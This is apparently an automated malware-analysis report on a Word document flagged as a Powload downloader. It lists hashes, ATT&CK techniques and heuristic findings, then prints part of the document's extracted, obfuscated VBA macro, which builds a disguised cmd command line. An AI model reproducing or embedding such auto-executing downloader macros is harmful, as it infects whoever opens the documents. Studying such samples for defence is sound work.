Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1b56f9bac8c56d4b…

MALICIOUS

Office (OLE)

84.0 KB Created: 2018-08-30 17:11:00 Authoring application: Microsoft Office Word First seen: 2019-02-10
MD5: aba3e2438bc34d3d74bd60f189682d35 SHA-1: d7af4b0183d3641cb60320b4e015c2dcc057a472 SHA-256: 1b56f9bac8c56d4b59857cd9576aa68be3164eec34ead105bbb27945482f00c0
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. A critical heuristic firing indicates the use of the Shell() function within the VBA code, which is commonly used to download and execute secondary payloads. The ClamAV detection name 'Doc.Downloader.Powload-6667191-0' further supports this downloader functionality. The macro code appears obfuscated, but the intent to execute a command is clear.

Heuristics 6

  • ClamAV: Doc.Downloader.Powload-6667191-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6667191-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9567 bytes
SHA-256: 8b6c5d9dd884e52d236c5284c5627df20e09af450c7b339c10a56c16d6dc7b38
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "JRbuOmWurBOhnY"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "sDKDjAqscTRwh"
Function EoQEUQfRiq()

On _
Error _
Resume _
Next
Hour aGHBb / kGipM
   Hour tTIsi * solkmZ
khjZZbTM = "md" + " /V/C" + Chr(4 + 1 + 5 + 0 + 24) + "^" + "s^e^t" + " e^l^F" + "==^" + "="
Hour ZOkZj / 3119 * ZTOSuc * iJPjXf
   Hour 74011 * JDXPQ * 28051 / uqqsSp
   Hour RvDRio / VcVvY
   Hour WOSFDw * zzEwOF * GRfCFm * OCYlvz
   Hour EmdGz / oiPoPK * 5482 * XpilPi
iddFDwhtc = "A" + "A^g" + "AA^I^A" + "^" + "ACA" + "g^AA^" + "IA^A" + "C" + "^A^"
Hour 77995 * vjRFM / 46823 * 19055
   Hour MuTHA * Kpvtqp
YRoNN = "g^AAI" + "^AAC" + "^AgAA^" + "IA^ACAg" + "AA^IAAC" + "A^gA^A^" + "I" + "^A^0" + "HA^9" + "B^w" + "^e^Ag" + "G^A^j^B"
Hour lLPtNY / JzaCCV * 8168 / iNFICt
   Hour ptHAPV / fjsoUA / 16763 * zjVkV
   Hour wplwOd * DpjKca
ilIVaYB = "^A^d^A^" + "E^G^" + "Aj^B^Q" + "fA^s^D" + "^A" + "r^BQYAU"
Hour bozvS / jjwWz
rOZUpmBM = "G" + "^Ay^" + "B^gY" + "A" + "^sDAE"
Hour IFCrzR / RGTuj
QsnVjL = "^BgW^A0" + "EA^kA" + "^A" + "^I^A^0" + "^GAlBAd" + "A^kE" + "A^t^A" + "QZAs" + "GAv^Bg^" + "dA^4"
Hour 20147 * iPrKu
   Hour 42685 * flJBCs * 61839 * iIaFaj
FFiZBt = "^GA^" + "J" + "Bw^" + "OAkC" + "^A^E" + "Bg^WA0"
Hour 18685 * ifAmI
   Hour YnhQO / MiRLLI / OOnSC / iFzzMD
iwfWEzAbD = "^" + "E" + "AkAA" + "^" + "IA^w" + "CACBg" + "RA" + "g"
Hour qktdi * 54686 / EwLPWN * IXrfw
   Hour rhjOw / aoUNN
BbzFRs = "G^A^kAA" + "K" + "A^" + "UG" + "^A^sB" + "^Qa" + "^A^Y^" + "EA^k^B^" + "Q^Y^A"
Hour 85478 / SiZkkJ
   Hour mWQio * VXEptw * 5634 * OlIDQ
   Hour 96957 * UOdcF
NtQKTmjzSwS = "^8^G^A" + "s^B^g^b" + "^A" + "cH^Av" + "BA" + "RA" + "^4C^A2^" + "B^w^aAQ"
Hour 21959 / KCbwr
   Hour lMwpIM * 10017 * dIUocj / LIjCCF
vfuoq = "^F^A^k" + "^A^w^e" + "^A^k" + "^H^" + "A^y" + "B^A" + "d^A" + "^sHAp^" + "A" + "A" + "RAE" + "^GAvBA^"
Hour 25671 / tijvb * 24614 * 43300
jkBDd = "J^A^ACA" + "^u" + "^B" + "^Q^a" + "^A" + "AC^AC^B" + "^gRAgG" + "A^"
EoQEUQfRiq = khjZZbTM + iddFDwhtc + YRoNN + ilIVaYB + rOZUpmBM + QsnVjL + FFiZBt + iwfWEzAbD + BbzFRs + NtQKTmjzSwS + vfuoq + jkBDd
   Hour DiIuH / jzzoR
   Hour 95059 / qjiOb
   Hour RqSMpd * ZqlYOi
   Hour zpusVN * YzKBS * Jzjbs / NtkfZn
   Hour 96804 * vziEP
End Function
Function UkBzGkRDO()

On _
Error _
Resume _
Next
Hour 44900 * 91830 * 71684 / MRMYE
   Hour 6590 / svQGMW / nPKUEj * XiQfm
   Hour qckqhj * jLaskr / 9364 / ZcSsA
blfiSUb = "k^A" + "^A^K^A" + "g^G^" + "Aj^BQYA" + "^U^GA" + "y^B^" + "w^b^" + "AYG^" + "A^" + "7^" + "A^w^J^A"
Hour bjawu * IZuNwC
   Hour 61663 * iqfHE / 68184 * UrKRIo
DffoFMjI = "UGA^4B^" + "QZ^A" + "4" + "C^An^" + "Aw^KA^"
Hour casVK / lJzXwZ
   Hour YmPJKG * BBCBwX / 86829 / mtLnB
   Hour MilcWT * AXaPD * GYGdF * hdzwI
   Hour 28225 * 97699
fivTnwjrRiD = "A^FAV" + "BQW^A" + "^QCAr" + "^Aw^J" + "^A^wF^A" + "nAw^" + "K^AM^"
Hour ninVbX * EqwCLQ * zOomi / DrSEHC
   Hour 80707 / ATniXF
   Hour IrlHBQ / SMIAHE / SrfwfV / rWLwiA
   Hour 92193 * JzvWPk
WABjjCduN = "GA^" + "pB" + "A^b^A^I" + "GA1B^" + "AcAo^" + "DA2Bg" + "^bA^U" + "^GAk" + "A^" + "QP^"
Hour KXPkcZ / MlcCan * 77777 / cJfjZw
wLqiDVCU = "AQ^EA^" + "a^BQ^" + "T^A^QC^" + "A^" + "7Aw^J" + "^AU^DA" + "^2AgN^" + "AcC^AgA" + "^Q^PAA" + "CAQB" + "QV^A^k^" + "FA" + "^k^A"
Hour 34689 * lwQjO / 48625 / Wifan
   Hour vdCjzY * dJdXDw
   Hour kXCCKj / QCTbz
PiXsMIozA = "w^OA" + "kC^AnAA" + "^Q^A" + "cCA" + "oAAd^A^" + "kG^A" + "^sB" + "^" + "Ac" + "^A^MF^" + "A^" + "u" + "^AwJA"
Hour 78572 * UaaCHM
   Hour 16767 * oirvC * FjlHVt / HQCWaA
   Hour 21474 * VkNVH / 2025 * dHfiwj
   Hour UAXhh / ftflb
   Hour qCzHNZ * GjzIuv * 74906 / fotjz
MiZjFUlVz = "^sEAjB" + "^Q^S^A" + "oF^AyB" + "^QUA^k^" + "DA^a" + "Bw^SA" + "g^DAv" + "^Aw^" + "b^A^Y" + "^G^"
UkBzGkRDO = blfiSUb + DffoFMjI + fivTnwjrRiD + WABjjCduN + wLqiDVCU + PiXsMIozA + MiZjFUl
... (truncated)